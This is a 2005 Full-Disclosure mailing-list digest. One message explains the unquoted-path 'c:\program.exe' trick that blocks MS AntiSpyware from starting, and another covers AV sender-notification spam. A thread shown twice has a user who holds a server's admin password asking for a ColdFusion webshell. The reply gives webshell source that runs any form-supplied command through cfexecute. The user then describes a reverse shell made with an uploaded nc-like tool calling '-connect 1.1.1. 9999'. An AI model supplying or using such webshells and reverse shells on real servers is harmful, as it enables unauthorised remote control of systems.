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Date: Tue May 10 15:30:14 2005
From: stevenrakick at yahoo.com (Steven Rakick)
Subject: Useless tidbit (MS AntiSpyware)


Interesting. Has this always been that way? While it's not a huge gaping hole, it's definitely concerning. At least to me.

Steve

 

-----Original Message-----

From: full-disclosure-bounces@...ts.grok.org.uk [mailto:full-disclosure-bounces@...ts.grok.org.uk] On Behalf Of pretty vacant

Sent: Tuesday, May 10, 2005 9:53 AM

To: James Tucker

Cc: full-disclosure@...ts.grok.org.uk

Subject: Re: [Full-disclosure] Useless tidbit

You may or may not know that Windows applications often use the registry to store information about where to find applications within their file system. Due to the way in which Windows handles filenames, situations where this information is stored in an unquoted fashion, can leave the application open to an attack commonly referred to as the "Program.exe trick".

As you know, it's quite common to have files and/or directories with spaces in the name (e.g. C:\Program Files). Windows is unique in that it essentially doesn't exactly know what it's doing if the command isn't quoted and contains spaces. For example look at the following command:

c:\program files\windows media player\wmplayer

If unquoted, Windows tries the following:

1st try

Execute: c:\program.exe

Arg1: files\windows

Arg2: media

Arg3: player\wmplayer

2nd try

Execute: "c:\program files\windows.exe"

Arg1: media

Arg2: player\wmplayer

3rd try

Execute: "c:\program files\windows media"

Arg1: player\wmplayer

4th try

Execute: "c:\program files\windows media player\mwplayer.exe"

Well in the case of MS AntiSpyware (and hundreds of other applications), AntiSpyware, it starts up by executing "AntiSpywareMain.exe" which in turn displays a nice splash screen, performs some other misc activities before calling the gsasDtServ.exe. The problem is that the execution of gsasDtServ.exe is unquoted, while the app tries to execute c:\program files\microsoft antispyware\gsasDtServ.exe, if c:\program.exe exists, it will be executed instead and MS Antispyware never actually gets loaded.

With XPSP2, the OS will actually warn you about files like c:\Program.bat, or c:\Program.exe, but not of c:\program files\internet.exe.

Sadly, this isn't uncommon and when I tested this on my system the first time, 7 applications were executed over a 48 hour period. Try it for yourself. My Program.exe logs the executing user and command args to c:\program.log.

 

 

On Tue, 10 May 2005, James Tucker wrote:

> It appears this was a "trick" that I missed, can you provide more info?

>

> thanks.

>

> On 5/9/05, pretty vacant <optimist@...ocompton.net> wrote:

> > Interesting tidbit. The old c:\program.exe trick prevents MS 

> > Anti-Spyware from loading at login. :) 

> > _______________________________________________

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1. List Charter (John Cartwright)
2. Re: Fwd: GWAVA Sender Notification (Content filter) (James Tucker)
3. Re: coldfusion pentest (fatb)
4. Re: coldfusion pentest (fatb)


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Message: 1
Date: Tue, 10 May 2005 10:02:23 +0100
From: John Cartwright 
Subject: [Full-disclosure] List Charter
To: full-disclosure@...ts.grok.org.uk
Message-ID: <20050510090223.GA21817@...k.org.uk>
Content-Type: text/plain; charset=us-ascii

Hi

FYI: I have disabled monthly password reminders due to the increasing
problem of archive sites storing them verbatim without filtering. 
Anyone running such an archive is encouraged to change their password
if necessary.

A password reminder is always available via the web interface in any
case. Additionally I have moved to more secure random passwords for
new members.

Cheers
- John

[Full-Disclosure] Mailing List Charter
John Cartwright 


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Message: 2
Date: Tue, 10 May 2005 10:11:56 +0100
From: James Tucker 
Subject: Re: [Full-disclosure] Fwd: GWAVA Sender Notification (Content
filter)
To: "Valdis.Kletnieks@...edu" 
Cc: full-disclosure@...ts.grok.org.uk
Message-ID: 
Content-Type: text/plain; charset=ISO-8859-1

marketing is a "wonderful" thing.

On 5/10/05, Valdis.Kletnieks@...edu wrote:
> On Tue, 10 May 2005 02:32:41 BST, James Tucker said:
> > Surely this kind of message is a really bad idea.
> 
> You know it, I know it, and the A/V vendors know it.
> 
> > What is the possible true business value of such a filter?
> 
> The true business value is for the A/V vendor, who can blat out a
> free spam to the forged MAIL FROM: address (which is probably scraped off
> a disk by the worm/virus and therefor likely an actual address.
> 
> In this case, the bozos at GWAVA can spam you about finding something they
> didn't consider acceptable.
> 
> > What is the potential impact upon security to disclose the information
> > that this mail does?
> 
> It demonstrates that the site running it is lame enough to still be running
> A/V software that spams people.
> 
> > What is the cost of deployment of this system against the costs
> > related to it's potential, and actual effects?
> 
> The GWAVA people don't care. They've been paid for the product already, and
> they're not the ones paying for the bandwidth.
> 
> Remember - you're talking here about a market segment *founded* on the business
> model that *partially* patching some other vendor's broken software will lead
> to a permanent gravy train. Once you've wrapped your brain around the morals
> and ethics of that business model, it's obviously a very tiny step to spamming
> other people about the wonders of the product.
> 
> 
>


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Message: 3
Date: Tue, 10 May 2005 17:12:00 +0800
From: "fatb" 
Subject: Re: [Full-disclosure] coldfusion pentest
To: "Javier Reoyo" 
Cc: full-disclosure@...ts.grok.org.uk
Message-ID: <007001c55540$cdd9d440$3801a8c0@...l>
Content-Type: text/plain; charset="gb2312"

thx :)

the script from securiteam was from Kurt Grutzmacher originally,it could not run in my box

and Im successful got a working shell by uploading a nc like tool and use the following script to run it



arguments="-connect 1.1.1. 9999"
timeout="20">




no matter how,I thought many guys who like me need a working cf webshell,because the upload script do not allow us to upload exe or some other kinds of files



----- Original Message ----- 
From: "Javier Reoyo" 
To: 
Sent: Tuesday, May 10, 2005 4:31 PM
Subject: Re: [Full-disclosure] coldfusion pentest


> Hi fatb,
> 
> 
> this is from mailing of securiteam. Try it.
> 
> ColdFusion Web Shell
> ------------------------------------------------------------------------
> 
> 
> SUMMARY
> 
> 
> 
> DETAILS
> 
> The following source code will generate a web based shell whenever it is
> executed under the ColdFusion environment.
> 
> Tool source code:
> < html>
> < body>
> 
> < cfoutput>
> < table>
> < form method="POST" action="cfexec.cfm">
> < tr>
> < td>Command:
> < td> < input type=text name="cmd" size=50< cfif isdefined("form.cmd")>
> value="#form.cmd#" > < br>
> 
> < tr>
> < td>Options:
> < td> < input type=text name="opts" size=50 < cfif
> isdefined("form.opts")> value="#form.opts#" >< br> 
> 
> < tr>
> < td>Timeout:
> < td>< input type=text name="timeout" size=4 < cfif
> isdefined("form.timeout")> value="#form.timeout#" < cfelse> value="5"
> > 
> 
> 
> < input type=submit value="Exec" >
> 
> 
> < cfsavecontent variable="myVar">
> < cfexecute name = "#Form.cmd#" arguments = "#Form.opts#" timeout =
> "#Form.timeout#">
> 
> 
> < pre>
> #myVar#
> 


> 
> 
> 
> 
> 
> ADDITIONAL INFORMATION
> 
> The information has been provided by Kurt
> Grutzmacher.
> 
> 
> 
> ========================================
> 
> ----- Original Message ----- 
> From: "fatb" 
> To: 

> Cc: 
> Sent: Tuesday, May 10, 2005 4:43 AM
> Subject: [Full-disclosure] coldfusion pentest
> 
> 
>> Hi all guys
>>
>> I've successed get the admin's passwd of the web interface
>>
>> and I can upload any kinds of files to the server
>>
>> the server is running coldfusion 4.5 with iis 5.0
>>
>> but I can not find a coldfusion webshell to continue
>>
>> anybody could be kind enough to send me a working coldfusion webshell
>>
>> thx in advanced!
> 
> 
> ----------------------------------------------------------------------------
> ----
> 
> 
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

------------------------------

Message: 4
Date: Tue, 10 May 2005 17:19:59 +0800
From: "fatb" 
Subject: Re: [Full-disclosure] coldfusion pentest
To: "Javier Reoyo" 
Cc: full-disclosure@...ts.grok.org.uk
Message-ID: <007901c55541$7e11ad10$3801a8c0@...l>
Content-Type: text/plain; charset="gb2312"

thx :)

the script from securiteam was from Kurt Grutzmacher originally,it could not run in my box

and Im successful got a working shell by uploading a nc like tool and use the following script to run it



arguments="-connect 1.1.1. 9999"
timeout="20">




no matter how,I thought many guys who like me need a working cf webshell,because the upload script do not allow us to upload exe or some other kinds of files



----- Original Message ----- 
From: "Javier Reoyo" 
To: 
Sent: Tuesday, May 10, 2005 4:31 PM
Subject: Re: [Full-disclosure] coldfusion pentest


> Hi fatb,
> 
> 
> this is from mailing of securiteam. Try it.
> 
> ColdFusion Web Shell
> ------------------------------------------------------------------------
> 
> 
> SUMMARY
> 
> 
> 
> DETAILS
> 
> The following source code will generate a web based shell whenever it is
> executed under the ColdFusion environment.
> 
> Tool source code:
> < html>
> < body>
> 
> < cfoutput>
> < table>
> < form method="POST" action="cfexec.cfm">
> < tr>
> < td>Command:
> < td> < input type=text name="cmd" size=50< cfif isdefined("form.cmd")>
> value="#form.cmd#" > < br>
> 
> < tr>
> < td>Options:
> < td> < input type=text name="opts" size=50 < cfif
> isdefined("form.opts")> value="#form.opts#" >< br> 
> 
> < tr>
> < td>Timeout:
> < td>< input type=text name="timeout" size=4 < cfif
> isdefined("form.timeout")> value="#form.timeout#" < cfelse> value="5"
> > 
> 
> 
> < input type=submit value="Exec" >
> 
> 
> < cfsavecontent variable="myVar">
> < cfexecute name = "#Form.cmd#" arguments = "#Form.opts#" timeout =
> "#Form.timeout#">
> 
> 
> < pre>
> #myVar#
> 


> 
> 
> 
> 
> 
> ADDITIONAL INFORMATION
> 
> The information has been provided by Kurt
> Grutzmacher.
> 
> 
> 
> ========================================
> 
> ----- Original Message ----- 
> From: "fatb" 
> To: 

> Cc: 
> Sent: Tuesday, May 10, 2005 4:43 AM
> Subject: [Full-disclosure] coldfusion pentest
> 
> 
>> Hi all guys
>>
>> I've successed get the admin's passwd of the web interface
>>
>> and I can upload any kinds of files to the server
>>
>> the server is running coldfusion 4.5 with iis 5.0
>>
>> but I can not find a coldfusion webshell to continue
>>
>> anybody could be kind enough to send me a working coldfusion webshell
>>
>> thx in advanced!
> 
> 
> ----------------------------------------------------------------------------
> ----
> 
> 
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

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